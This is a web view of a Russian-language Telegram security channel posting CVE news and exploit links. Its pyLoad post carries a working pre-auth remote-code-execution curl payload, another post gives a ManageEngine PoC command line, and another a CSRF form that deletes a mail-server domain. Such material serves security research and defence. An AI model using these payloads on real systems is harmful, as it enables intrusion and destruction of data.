NEW BOT Телеграм, страница

Windows Kernel Elevation of Privilege Vulnerability.
CVE-2022-21881
cve-2022-21881-io_completion-poc.cpp

🔥4😱1

5.81K views09:22

CVE-2023-0297
Pre-auth RCE in pyLoad
read
Exploit Code:

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

🔥5

5.85K views09:42

Proxy Bar

ChatGPT - для RedTeam и BlueTeam Годная статья с хорошими примерами Читать OpenAI ChatGPT for Cyber Security Если нет учетки OpenAI - попробовать свои силы можно в нашем боте #openAI

ОТСТАВИТЬ ПАНИКУ
БОТ был и останется бесплатным.
Сейчас тестируются новые фичи. К вечеру все будет доступно в одном из двух вариантов:
1. Допуск по телеграмм id для всех желающих
или
2. Допуск как и раньше, но с таймаутом сообщений в 30 сек
3. симбиоз первого и второго варианта

👍23😱5

5.62K views12:35

Proxy Bar

CVE-2022-46463
Проблема контроля доступа в Harbour v1.X.X–v2.5.3 позволяет злоумышленникам получать доступ к общедоступным и частным репозиториям без аутентификации.

Вообще Харбор крутая штука, для devops\devsecops

exploit

#harbor #repo

👍4😱2

5.64K views04:35

Proxy Bar

NGINXConfig
Самый простой способ настроить производительный, безопасный и стабильный NGINX сервер.
Ну вдруг вам нужно, натыкали галочек, получили конфиг.
НаТыкать

#nginx

🔥20👍8

6.72K views11:38

Proxy Bar

CVE-2023-22809 - опять Sudo, опять bypass😏

#Unix #linux #sudo #bypass

😱3

5.81K views08:44

Proxy Bar

5.78K views08:44

Proxy Bar

sudo-CVE-2023-22809.pdf

291 KB

🔥2

6.35K views08:44

Proxy Bar

CVE-2022-47966
*
Список ПО от ManageEngine подверженных атаке поражает !
*
Уязвимость позволяет удаленное выполнение кода, отправив HTTP-запрос POST, содержащий вредоносный ответ SAML. А всё из за не патченной версии Apache Santuario для проверки подписи XML.
*
read
*
POC/exploit
*
Usage:
python3 CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe

👍2🔥1

5.68K views14:43

Proxy Bar

Чаты и каналы Telegram по информационной безопасности 2023
Хорошая подборочка over 100, но нас в ней нет ((
Забираем

😱16

6.53K views16:23

Proxy Bar

SUDO KILLER
Тулза для выявления и использования неправильных конфигураций и уязвимостей правил sudo для повышения привилегий Linux.

download

👍10😱5

5.64K views18:50

Proxy Bar

Exploiting null-dereferences in the Linux kernel
Интересное

#linux #kernel

🔥5

5.16K views19:37

Proxy Bar

В продолжении темы
Появился nuclei-template для дыры CVE-2022-47966.yaml
Ну и сам nuclei забрать тут
****
Bonus для blueTeam - правило обнаружения эксплуатации дыры для Sigma - забрать

👍7🔥1

5.57K viewsedited 05:22

Proxy Bar

This media is not supported in your browser

VIEW IN TELEGRAM

Wolfenstein 3D CGA
Тут и описание то не нужно. забрать

#wolf #90

👍9🔥1😱1

5.12K views14:35

Proxy Bar

Если я пойду и долиною смертной тени, не убоюсь зла, потому что Ты со мной openAI;
Твой жезл и Твой посох - они успокаивают меня. Ты приготовил предо мною трапезу в виду врагов моих; умастил елеем голову мою; чаша моя преисполнена.

BOT off как вы поняли

😱16🔥1

5.11K viewsedited 17:03

Proxy Bar

RDP
Asynchronous RDP client for Python (headless)
*
Ну Вы понимаете, да ? )))
подобрать

👍7😱2🔥1

5.35K views05:34

Proxy Bar

Коннектимся!

👍13😱8🔥1

5.26K views08:15

Proxy Bar

Microsoft Teams - RCE
download

👍12

5.67K views11:11

Proxy Bar

CVE-2023-0179-linux_exploit.rar

9.7 KB

CVE-2023-0179 PoC
эксплойт для уязвимости в Nftables, затрагивающий все версии Linux от 5.5 до 6.2-rc3, хотя эксплойт тестировался на свежем ядре 6.1.6
Понять глубину

#linux #kernel #lpe #nftables

🔥2👍1

5.73K views13:17

Proxy Bar

переоформим !

😱10👍5

5.83K views13:38

Proxy Bar

CVE-2023-0398 modoboa - mail Server

CSRF приводит к удалению домена
*
usage fot BURP:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <noscript>history.pushState('', '', '/')</noscript>
    <form action="http://127.0.0.1:8000/admin/domains/4/delete/">
      <input type="submit" value="Submit request" />
    </form>
    <noscript>
      document.forms[0].submit();
    </noscript>
  </body>
</html>

read

🔥4👍3😱1

6.46K views09:13

About

Blog

Apps

Platform